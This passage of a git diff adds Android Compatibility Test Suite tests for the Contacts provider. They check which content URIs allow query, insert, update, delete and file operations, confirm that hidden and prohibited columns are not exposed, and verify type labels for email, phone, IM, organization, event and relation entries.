+            {"content://com.android.contacts/syncstate/1", "-ud"},
+            {"content://com.android.contacts/profile/syncstate", "iud"},
+            {"content://com.android.contacts/phone_lookup/XXX"},
+            {"content://com.android.contacts/phone_lookup_enterprise/XXX"},
+            {"content://com.android.contacts/aggregation_exceptions", "u"},
+            {"content://com.android.contacts/settings", "ud"},
+            {"content://com.android.contacts/status_updates", "ud"},
+            {"content://com.android.contacts/status_updates/1"},
+            {"content://com.android.contacts/search_suggest_query"},
+            {"content://com.android.contacts/search_suggest_query/XXX"},
+            {"content://com.android.contacts/search_suggest_shortcut/XXX"},
+            {"content://com.android.contacts/provider_status"},
+            {"content://com.android.contacts/directories", "u"},
+            {"content://com.android.contacts/directories/1"},
+            {"content://com.android.contacts/directories_enterprise"},
+            {"content://com.android.contacts/directories_enterprise/1"},
+            {"content://com.android.contacts/complete_name"},
+            {"content://com.android.contacts/profile", "su"},
+            {"content://com.android.contacts/profile/entities", "s"},
+            {"content://com.android.contacts/profile/data", "tud"},
+            {"content://com.android.contacts/profile/data/1", "td"},
+            {"content://com.android.contacts/profile/photo", "t"},
+            {"content://com.android.contacts/profile/display_photo", "-r"},
+            {"content://com.android.contacts/profile/as_vcard", "r"},
+            {"content://com.android.contacts/profile/raw_contacts", "siud"},
+
+            // Note this should have supported update... Too late to add.
+            {"content://com.android.contacts/profile/raw_contacts/1", "sd"},
+            {"content://com.android.contacts/profile/raw_contacts/1/data", "tu"},
+            {"content://com.android.contacts/profile/raw_contacts/1/entity"},
+            {"content://com.android.contacts/profile/status_updates", "ud"},
+            {"content://com.android.contacts/profile/raw_contact_entities"},
+            {"content://com.android.contacts/display_photo/1", "-r"},
+            {"content://com.android.contacts/photo_dimensions"},
+            {"content://com.android.contacts/deleted_contacts"},
+            {"content://com.android.contacts/deleted_contacts/1"},
+            {"content://com.android.contacts/directory_file_enterprise/XXX?directory=0", "-"},
+    };
+
+    private static final String[] ARG1 = {"-1"};
+
+    private ContentResolver mResolver;
+
+    private ArrayList<String> mFailures;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mFailures = new ArrayList<>();
+        mResolver = getContext().getContentResolver();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mFailures != null) {
+            fail("mFailures is not null.  Did you forget to call failIfFailed()?");
+        }
+
+        super.tearDown();
+    }
+
+    private void addFailure(String message, Throwable th) {
+        Log.e(TAG, "Failed: " + message, th);
+
+        final int MAX = 100;
+        if (mFailures.size() == MAX) {
+            mFailures.add("Too many failures.");
+        } else if (mFailures.size() > MAX) {
+            // Too many failures already...
+        } else {
+            mFailures.add(message);
+        }
+    }
+
+    private void failIfFailed() {
+        if (mFailures == null) {
+            fail("mFailures is null.  Maybe called failIfFailed() twice?");
+        }
+        if (mFailures.size() > 0) {
+            StringBuilder message = new StringBuilder();
+
+            if (mFailures.size() > 0) {
+                Log.e(TAG, "Something went wrong:");
+                for (String s : mFailures) {
+                    Log.e(TAG, s);
+                    if (message.length() > 0) {
+                        message.append("\n");
+                    }
+                    message.append(s);
+                }
+            }
+            mFailures = null;
+            fail("Following test(s) failed:\n" + message);
+        }
+        mFailures = null;
+    }
+
+    private static Uri getUri(String[] path) {
+        return Uri.parse(path[0]);
+    }
+
+    private static boolean supportsQuery(String[] path) {
+        if (path.length == 1) {
+            return true; // supports query by default.
+        }
+        return !(path[1].contains("-") || path[1].contains("!"));
+    }
+
+    private static boolean supportsInsert(String[] path) {
+        return (path.length) >= 2 && path[1].contains("i");
+    }
+
+    private static boolean supportsUpdate(String[] path) {
+        return (path.length) >= 2 && path[1].contains("u");
+    }
+
+    private static boolean supportsDelete(String[] path) {
+        return (path.length) >= 2 && path[1].contains("d");
+    }
+
+    private static boolean supportsRead(String[] path) {
+        return (path.length) >= 2 && path[1].contains("r");
+    }
+
+    private static boolean supportsWrite(String[] path) {
+        return (path.length) >= 2 && path[1].contains("w");
+    }
+
+    private String[] getColumns(Uri uri) {
+        try (Cursor c = mResolver.query(uri,
+                null, // projection
+                "1=2", // selection
+                null, // selection args
+                null // sort order
+        )) {
+            return c.getColumnNames();
+        }
+    }
+
+    private void checkQueryExecutable(Uri uri,
+            String[] projection, String selection,
+            String[] selectionArgs, String sortOrder) {
+        try {
+            try (Cursor c = mResolver.query(uri, projection, selection,
+                    selectionArgs, sortOrder)) {
+                c.moveToFirst();
+            }
+        } catch (Throwable th) {
+            addFailure("Query failed: URI=" + uri + " Message=" + th.getMessage(), th);
+        }
+        try {
+            // With CancellationSignal.
+            try (Cursor c = mResolver.query(uri, projection, selection,
+                    selectionArgs, sortOrder, new CancellationSignal())) {
+                c.moveToFirst();
+            }
+        } catch (Throwable th) {
+            addFailure("Query with cancel failed: URI=" + uri + " Message=" + th.getMessage(), th);
+        }
+        try {
+            // With limit.
+            try (Cursor c = mResolver.query(
+                    uri.buildUpon().appendQueryParameter(
+                            ContactsContract.LIMIT_PARAM_KEY, "0").build(),
+                    projection, selection, selectionArgs, sortOrder)) {
+                c.moveToFirst();
+            }
+        } catch (Throwable th) {
+            addFailure("Query with limit failed: URI=" + uri + " Message=" + th.getMessage(), th);
+        }
+
+        try {
+            // With account.
+            try (Cursor c = mResolver.query(
+                    uri.buildUpon()
+                            .appendQueryParameter(RawContacts.ACCOUNT_NAME, "a")
+                            .appendQueryParameter(RawContacts.ACCOUNT_TYPE, "b")
+                            .appendQueryParameter(RawContacts.DATA_SET, "c")
+                            .build(),
+                    projection, selection, selectionArgs, sortOrder)) {
+                c.moveToFirst();
+            }
+        } catch (Throwable th) {
+            addFailure("Query with limit failed: URI=" + uri + " Message=" + th.getMessage(), th);
+        }
+    }
+
+    private void checkQueryNotExecutable(Uri uri,
+            String[] projection, String selection,
+            String[] selectionArgs, String sortOrder) {
+        try {
+            try (Cursor c = mResolver.query(uri, projection, selection,
+                    selectionArgs, sortOrder)) {
+                c.moveToFirst();
+            }
+        } catch (Throwable th) {
+            // pass.
+            return;
+        }
+        addFailure("Query on " + uri + " expected to fail, but succeeded.", null);
+    }
+
+    /**
+     * Make sure all URLs are accessible with all arguments = null.
+     */
+    public void testSelect() {
+        for (String[] path : URIs) {
+            if (!supportsQuery(path)) continue;
+            final Uri uri = getUri(path);
+
+            checkQueryExecutable(uri, // uri
+                    null, // projection
+                    null, // selection
+                    null, // selection args
+                    null // sort order
+            );
+        }
+        failIfFailed();
+    }
+
+    public void testNoHiddenColumns() {
+        for (String[] path : URIs) {
+            if (!supportsQuery(path)) continue;
+            final Uri uri = getUri(path);
+
+            for (String column : getColumns(uri)) {
+                if (column.toLowerCase().startsWith(ContactsContract.HIDDEN_COLUMN_PREFIX)) {
+                    addFailure("Uri " + uri + " returned hidden column " + column, null);
+                }
+            }
+        }
+        failIfFailed();
+    }
+
+// Temporarily disabled due to taking too much time.
+//    /**
+//     * Make sure all URLs are accessible with a projection.
+//     */
+//    public void testSelectWithProjection() {
+//        for (String[] path : URIs) {
+//            if (!supportsQuery(path)) continue;
+//            final Uri uri = getUri(path);
+//
+//            for (String column : getColumns(uri)) {
+//                // Some columns are not selectable alone due to bugs, and we don't want to fix them
+//                // in order to avoid expanding the differences between versions, so here're some
+//                // hacks to make it work...
+//
+//                String[] projection = {column};
+//
+//                final String u = path[0];
+//                if ((u.startsWith("content://com.android.contacts/status_updates")
+//                        || u.startsWith("content://com.android.contacts/profile/status_updates"))
+//                        && ("im_handle".equals(column)
+//                        || "im_account".equals(column)
+//                        || "protocol".equals(column)
+//                        || "custom_protocol".equals(column)
+//                        || "presence_raw_contact_id".equals(column)
+//                )) {
+//                    // These columns only show up when the projection contains certain columns.
+//
+//                    projection = new String[]{"mode", column};
+//                } else if ((u.startsWith("content://com.android.contacts/search_suggest_query")
+//                        || u.startsWith("content://contacts/search_suggest_query"))
+//                        && "suggest_intent_action".equals(column)) {
+//                    // Can't be included in the projection due to a bug in GlobalSearchSupport.
+//                    continue;
+//                } else if (RawContacts.BACKUP_ID.equals(column)) {
+//                    // Some URIs don't support a projection with BAKCUP_ID only.
+//                    projection = new String[]{RawContacts.BACKUP_ID, RawContacts.SOURCE_ID};
+//                }
+//
+//                checkQueryExecutable(uri,
+//                        projection, // projection
+//                        null, // selection
+//                        null, // selection args
+//                        null // sort order
+//                );
+//            }
+//        }
+//        failIfFailed();
+//    }
+
+    /**
+     * Make sure all URLs are accessible with a selection.
+     */
+    public void testSelectWithSelection() {
+        for (String[] path : URIs) {
+            if (!supportsQuery(path)) continue;
+            final Uri uri = getUri(path);
+
+            checkQueryExecutable(uri,
+                    null, // projection
+                    "1=?", // selection
+                    ARG1, // , // selection args
+                    null // sort order
+            );
+        }
+        failIfFailed();
+    }
+
+//    /**
+//     * Make sure all URLs are accessible with a selection.
+//     */
+//    public void testSelectWithSelectionUsingColumns() {
+//        for (String[] path : URIs) {
+//            if (!supportsQuery(path)) continue;
+//            final Uri uri = getUri(path);
+//
+//            for (String column : getColumns(uri)) {
+//                checkQueryExecutable(uri,
+//                        null, // projection
+//                        column + "=?", // selection
+//                        ARG1, // , // selection args
+//                        null // sort order
+//                );
+//            }
+//        }
+//        failIfFailed();
+//    }
+
+// Temporarily disabled due to taking too much time.
+//    /**
+//     * Make sure all URLs are accessible with an order-by.
+//     */
+//    public void testSelectWithSortOrder() {
+//        for (String[] path : URIs) {
+//            if (!supportsQuery(path)) continue;
+//            final Uri uri = getUri(path);
+//
+//            for (String column : getColumns(uri)) {
+//                checkQueryExecutable(uri,
+//                        null, // projection
+//                        "1=2", // selection
+//                        null, // , // selection args
+//                        column // sort order
+//                );
+//            }
+//        }
+//        failIfFailed();
+//    }
+
+    /**
+     * Make sure all URLs are accessible with all arguments.
+     */
+    public void testSelectWithAllArgs() {
+        for (String[] path : URIs) {
+            if (!supportsQuery(path)) continue;
+            final Uri uri = getUri(path);
+
+            final String[] projection = {getColumns(uri)[0]};
+
+            checkQueryExecutable(uri,
+                    projection, // projection
+                    "1=?", // selection
+                    ARG1, // , // selection args
+                    getColumns(uri)[0] // sort order
+            );
+        }
+        failIfFailed();
+    }
+
+    public void testNonSelect() {
+        for (String[] path : URIs) {
+            if (supportsQuery(path)) continue;
+            final Uri uri = getUri(path);
+
+            checkQueryNotExecutable(uri, // uri
+                    null, // projection
+                    null, // selection
+                    null, // selection args
+                    null // sort order
+            );
+        }
+        failIfFailed();
+    }
+
+    private static boolean supportsTimesContacted(String[] path) {
+        return path.length > 1 && path[1].contains("s");
+    }
+
+    private static boolean supportsTimesUsed(String[] path) {
+        return path.length > 1 && path[1].contains("t");
+    }
+
+    private void checkColumnAccessible(Uri uri, String column) {
+        try {
+            try (Cursor c = mResolver.query(
+                    uri, new String[]{column}, column + "=0", null, column
+            )) {
+                c.moveToFirst();
+            }
+        } catch (Throwable th) {
+            addFailure("Query failed: URI=" + uri + " Message=" + th.getMessage(), th);
+        }
+    }
+
+    /** Test for {@link #checkColumnAccessible} */
+    public void testCheckColumnAccessible() {
+        checkColumnAccessible(Contacts.CONTENT_URI, "x_times_contacted");
+        try {
+            failIfFailed();
+        } catch (AssertionFailedError expected) {
+            return; // expected.
+        }
+        fail("Failed to detect issue.");
+    }
+
+    private void checkColumnNotAccessibleInner(Uri uri, String[] projection, String selection,
+            String[] selectionArgs, String sortOrder) {
+        try {
+            try (Cursor c = mResolver.query(uri, projection, selection,
+                    selectionArgs, sortOrder)) {
+                c.moveToFirst();
+            }
+        } catch (IllegalArgumentException th) {
+            // pass.
+            return;
+        }
+        addFailure("Query on " + uri +
+                " expected to throw IllegalArgumentException, but succeeded.", null);
+    }
+
+    private void checkColumnNotAccessible(Uri uri, String column) {
+        checkColumnNotAccessibleInner(uri, new String[] {column}, null, null, null);
+        checkColumnNotAccessibleInner(uri, null, column + "=1", null, null);
+        checkColumnNotAccessibleInner(uri, null, null, null, /* order by */ column);
+    }
+
+    /** Test for {@link #checkColumnNotAccessible} */
+    public void testCheckColumnNotAccessible() {
+        checkColumnNotAccessible(Contacts.CONTENT_URI, "times_contacted");
+        try {
+            failIfFailed();
+        } catch (AssertionFailedError expected) {
+            return; // expected.
+        }
+        fail("Failed to detect issue.");
+    }
+
+    /**
+     * Make sure the x_ columns are not accessible.
+     */
+    public void testProhibitedColumns() {
+        for (String[] path : URIs) {
+            final Uri uri = getUri(path);
+            if (supportsTimesContacted(path)) {
+                checkColumnAccessible(uri, "times_contacted");
+                checkColumnAccessible(uri, "last_time_contacted");
+
+                checkColumnNotAccessible(uri, "X_times_contacted");
+                checkColumnNotAccessible(uri, "X_slast_time_contacted");
+            }
+            if (supportsTimesUsed(path)) {
+                checkColumnAccessible(uri, "times_used");
+                checkColumnAccessible(uri, "last_time_used");
+
+                checkColumnNotAccessible(uri, "X_times_used");
+                checkColumnNotAccessible(uri, "X_last_time_used");
+            }
+        }
+        failIfFailed();
+    }
+
+    private void checkExecutable(String operation, Uri uri, boolean shouldWork, Runnable r) {
+        if (shouldWork) {
+            try {
+                r.run();
+            } catch (Exception e) {
+                addFailure(operation + " for '" + uri + "' failed: " + e.getMessage(), e);
+            }
+        } else {
+            try {
+                r.run();
+                addFailure(operation + " for '" + uri + "' NOT failed.", null);
+            } catch (Exception expected) {
+            }
+        }
+    }
+
+    public void testAllOperations() {
+        final ContentValues cv = new ContentValues();
+
+        for (String[] path : URIs) {
+            final Uri uri = getUri(path);
+
+            cv.clear();
+            if (supportsQuery(path)) {
+                cv.put(getColumns(uri)[0], 1);
+            } else {
+                cv.put("_id", 1);
+            }
+            if (uri.toString().contains("syncstate")) {
+                cv.put(SyncState.ACCOUNT_NAME, "abc");
+                cv.put(SyncState.ACCOUNT_TYPE, "def");
+            }
+
+            checkExecutable("insert", uri, supportsInsert(path), () -> {
+                final Uri newUri = mResolver.insert(uri, cv);
+                if (newUri == null) {
+                    addFailure("Insert for '" + uri + "' returned null.", null);
+                } else {
+                    // "profile/raw_contacts/#" is missing update support.  too late to add, so
+                    // just skip.
+                    if (!newUri.toString().startsWith(
+                            "content://com.android.contacts/profile/raw_contacts/")) {
+                        checkExecutable("insert -> update", newUri, true, () -> {
+                            mResolver.update(newUri, cv, null, null);
+                        });
+                    }
+                    checkExecutable("insert -> delete", newUri, true, () -> {
+                        mResolver.delete(newUri, null, null);
+                    });
+                }
+            });
+            checkExecutable("update", uri, supportsUpdate(path), () -> {
+                mResolver.update(uri, cv, "1=2", null);
+            });
+            checkExecutable("delete", uri, supportsDelete(path), () -> {
+                mResolver.delete(uri, "1=2", null);
+            });
+        }
+        failIfFailed();
+    }
+
+    public void testAllFileOperations() {
+        for (String[] path : URIs) {
+            final Uri uri = getUri(path);
+
+            checkExecutable("openInputStream", uri, supportsRead(path), () -> {
+                try (InputStream st = mResolver.openInputStream(uri)) {
+                } catch (FileNotFoundException e) {
+                    // TODO This happens because we try to read nonexistent photos.  Ideally
+                    // we should actually check it's readable.
+                    if (e.getMessage().contains("Stream I/O not supported")) {
+                        throw new RuntimeException("Caught Exception: " + e.toString(), e);
+                    }
+                } catch (Exception e) {
+                    throw new RuntimeException("Caught Exception: " + e.toString(), e);
+                }
+            });
+            checkExecutable("openOutputStream", uri, supportsWrite(path), () -> {
+                try (OutputStream st = mResolver.openOutputStream(uri)) {
+                } catch (Exception e) {
+                    throw new RuntimeException("Caught Exception: " + e.toString(), e);
+                }
+            });
+        }
+        failIfFailed();
+    }
+}
+
+
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java
new file mode 100644
index 0000000..2068253
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.res.Resources;
+import android.provider.ContactsContract.CommonDataKinds.Email;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_CommonDataKinds_EmailTest extends AndroidTestCase {
+
+    private Resources mResources;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResources = mContext.getResources();
+    }
+
+    public void testGetTypeLabel() {
+        assertGetTypeLabel(Email.TYPE_HOME);
+        assertGetTypeLabel(Email.TYPE_MOBILE);
+        assertGetTypeLabel(Email.TYPE_OTHER);
+        assertGetTypeLabel(Email.TYPE_WORK);
+        assertGetTypeLabel(Email.TYPE_CUSTOM);
+        assertCustomTypeLabel("Custom Label");
+    }
+
+    private void assertGetTypeLabel(int type) {
+        int res = Email.getTypeLabelResource(type);
+        assertTrue(res != 0);
+
+        String label = mResources.getString(res);
+        assertEquals(label, Email.getTypeLabel(mResources, type, ""));
+    }
+
+    private void assertCustomTypeLabel(String label) {
+        int res = Email.getTypeLabelResource(Email.TYPE_CUSTOM);
+        assertTrue(res != 0);
+        assertEquals(label, Email.getTypeLabel(mResources, Email.TYPE_CUSTOM, label));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java
new file mode 100644
index 0000000..7998e2b
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.provider.ContactsContract.CommonDataKinds.Event;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_CommonDataKinds_EventTest extends AndroidTestCase {
+
+    public void testGetTypeLabel() {
+        assertGetTypeLabel(Event.TYPE_ANNIVERSARY);
+        assertGetTypeLabel(Event.TYPE_BIRTHDAY);
+        assertGetTypeLabel(Event.TYPE_OTHER);
+        assertGetTypeLabel(Event.TYPE_CUSTOM);
+        assertGetTypeLabel(null);
+    }
+
+    private void assertGetTypeLabel(Integer type) {
+        int res = Event.getTypeResource(type);
+        assertTrue(res != 0);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java
new file mode 100644
index 0000000..781889b
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.res.Resources;
+import android.provider.ContactsContract.CommonDataKinds.Im;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_CommonDataKinds_ImTest extends AndroidTestCase {
+
+    private Resources mResources;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResources = mContext.getResources();
+    }
+
+    public void testGetProtocolLabel() {
+        assertGetProtocolLabel(Im.PROTOCOL_AIM);
+        assertGetProtocolLabel(Im.PROTOCOL_CUSTOM);
+        assertGetProtocolLabel(Im.PROTOCOL_GOOGLE_TALK);
+        assertGetProtocolLabel(Im.PROTOCOL_ICQ);
+        assertGetProtocolLabel(Im.PROTOCOL_JABBER);
+        assertGetProtocolLabel(Im.PROTOCOL_MSN);
+        assertGetProtocolLabel(Im.PROTOCOL_NETMEETING);
+        assertGetProtocolLabel(Im.PROTOCOL_QQ);
+        assertGetProtocolLabel(Im.PROTOCOL_SKYPE);
+        assertGetProtocolLabel(Im.PROTOCOL_YAHOO);
+        assertCustomProtocolLabel("Custom Label");
+    }
+
+    public void testGetTypeLabel() {
+        assertGetTypeLabel(Im.TYPE_HOME);
+        assertGetTypeLabel(Im.TYPE_WORK);
+        assertGetTypeLabel(Im.TYPE_OTHER);
+        assertGetTypeLabel(Im.TYPE_CUSTOM);
+        assertCustomTypeLabel("Custom Label");
+    }
+
+    private void assertGetProtocolLabel(int type) {
+        int res = Im.getProtocolLabelResource(type);
+        assertTrue(res != 0);
+
+        String label = mResources.getString(res);
+        assertEquals(label, Im.getProtocolLabel(mResources, type, ""));
+    }
+
+    private void assertCustomProtocolLabel(String label) {
+        int res = Im.getProtocolLabelResource(Im.PROTOCOL_CUSTOM);
+        assertTrue(res != 0);
+        assertEquals(label, Im.getProtocolLabel(mResources, Im.PROTOCOL_CUSTOM, label));
+    }
+
+    private void assertGetTypeLabel(int type) {
+        int res = Im.getTypeLabelResource(type);
+        assertTrue(res != 0);
+
+        String label = mResources.getString(res);
+        assertEquals(label, Im.getTypeLabel(mResources, type, ""));
+    }
+
+    private void assertCustomTypeLabel(String label) {
+        int res = Im.getTypeLabelResource(Im.TYPE_CUSTOM);
+        assertTrue(res != 0);
+        assertEquals(label, Im.getTypeLabel(mResources, Im.TYPE_CUSTOM, label));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java
new file mode 100644
index 0000000..6a12fb1
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import junit.framework.Assert;
+
+import android.content.res.Resources;
+import android.provider.ContactsContract.CommonDataKinds.Im;
+import android.provider.ContactsContract.CommonDataKinds.Organization;
+import android.provider.ContactsContract.Data;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_CommonDataKinds_OrganizationTest extends AndroidTestCase {
+
+    private Resources mResources;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResources = mContext.getResources();
+    }
+
+    public void testGetTypeLabel() {
+        assertGetTypeLabel(Organization.TYPE_WORK);
+        assertGetTypeLabel(Organization.TYPE_OTHER);
+        assertGetTypeLabel(Organization.TYPE_CUSTOM);
+        assertCustomTypeLabel("Custom Label");
+    }
+
+    private void assertGetTypeLabel(int type) {
+        int res = Organization.getTypeLabelResource(type);
+        assertTrue(res != 0);
+
+        String label = mResources.getString(res);
+        assertEquals(label, Organization.getTypeLabel(mResources, type, ""));
+    }
+
+    private void assertCustomTypeLabel(String label) {
+        int res = Organization.getTypeLabelResource(Im.TYPE_CUSTOM);
+        assertTrue(res != 0);
+        assertEquals(label, Organization.getTypeLabel(mResources, Im.TYPE_CUSTOM, label));
+    }
+
+    public void testPhoneticNameStyleColumnName() throws Exception {
+        // Make sure the column name is data10 and not phonetic_name_style
+        // from the parent class.
+        assertEquals(Data.DATA10, Organization.PHONETIC_NAME_STYLE);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java
new file mode 100644
index 0000000..335fa81
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.res.Resources;
+import android.provider.ContactsContract.CommonDataKinds.Phone;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_CommonDataKinds_PhoneTest extends AndroidTestCase {
+
+    private Resources mResources;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResources = mContext.getResources();
+    }
+
+    public void testGetTypeLabel() {
+        assertGetTypeLabel(Phone.TYPE_ASSISTANT);
+        assertGetTypeLabel(Phone.TYPE_CALLBACK);
+        assertGetTypeLabel(Phone.TYPE_CAR);
+        assertGetTypeLabel(Phone.TYPE_COMPANY_MAIN);
+        assertGetTypeLabel(Phone.TYPE_FAX_HOME);
+        assertGetTypeLabel(Phone.TYPE_FAX_WORK);
+        assertGetTypeLabel(Phone.TYPE_HOME);
+        assertGetTypeLabel(Phone.TYPE_ISDN);
+        assertGetTypeLabel(Phone.TYPE_MAIN);
+        assertGetTypeLabel(Phone.TYPE_MMS);
+        assertGetTypeLabel(Phone.TYPE_MOBILE);
+        assertGetTypeLabel(Phone.TYPE_OTHER);
+        assertGetTypeLabel(Phone.TYPE_OTHER_FAX);
+        assertGetTypeLabel(Phone.TYPE_PAGER);
+        assertGetTypeLabel(Phone.TYPE_RADIO);
+        assertGetTypeLabel(Phone.TYPE_TELEX);
+        assertGetTypeLabel(Phone.TYPE_TTY_TDD);
+        assertGetTypeLabel(Phone.TYPE_WORK);
+        assertGetTypeLabel(Phone.TYPE_WORK_MOBILE);
+        assertGetTypeLabel(Phone.TYPE_WORK_PAGER);
+        assertGetTypeLabel(Phone.TYPE_CUSTOM);
+        assertCustomTypeLabel("Custom Label");
+    }
+
+    private void assertGetTypeLabel(int type) {
+        int res = Phone.getTypeLabelResource(type);
+        assertTrue(res != 0);
+
+        String label = mResources.getString(res);
+        assertEquals(label, Phone.getTypeLabel(mResources, type, ""));
+    }
+
+    private void assertCustomTypeLabel(String label) {
+        int res = Phone.getTypeLabelResource(Phone.TYPE_CUSTOM);
+        assertTrue(res != 0);
+        assertEquals(label, Phone.getTypeLabel(mResources, Phone.TYPE_CUSTOM, label));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java
new file mode 100644
index 0000000..6165352
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.res.Resources;
+import android.provider.ContactsContract.CommonDataKinds.Relation;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_CommonDataKinds_RelationTest extends AndroidTestCase {
+
+    private Resources mResources;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResources = mContext.getResources();
+    }
+
+    public void testGetTypeLabel() {
+        assertGetTypeLabel(Relation.TYPE_ASSISTANT);
+        assertGetTypeLabel(Relation.TYPE_BROTHER);
+        assertGetTypeLabel(Relation.TYPE_CHILD);
+        assertGetTypeLabel(Relation.TYPE_DOMESTIC_PARTNER);
+        assertGetTypeLabel(Relation.TYPE_FATHER);
+        assertGetTypeLabel(Relation.TYPE_FRIEND);
+        assertGetTypeLabel(Relation.TYPE_MANAGER);
+        assertGetTypeLabel(Relation.TYPE_MOTHER);
+        assertGetTypeLabel(Relation.TYPE_PARENT);
+        assertGetTypeLabel(Relation.TYPE_PARTNER);
+        assertGetTypeLabel(Relation.TYPE_REFERRED_BY);
+        assertGetTypeLabel(Relation.TYPE_RELATIVE);
+        assertGetTypeLabel(Relation.TYPE_SISTER);
+        assertGetTypeLabel(Relation.TYPE_SPOUSE);
+        assertGetTypeLabel(Relation.TYPE_CUSTOM);
+        assertCustomTypeLabel("Custom Label");
+    }
+
+    private void assertGetTypeLabel(int type) {
+        int res = Relation.getTypeLabelResource(type);
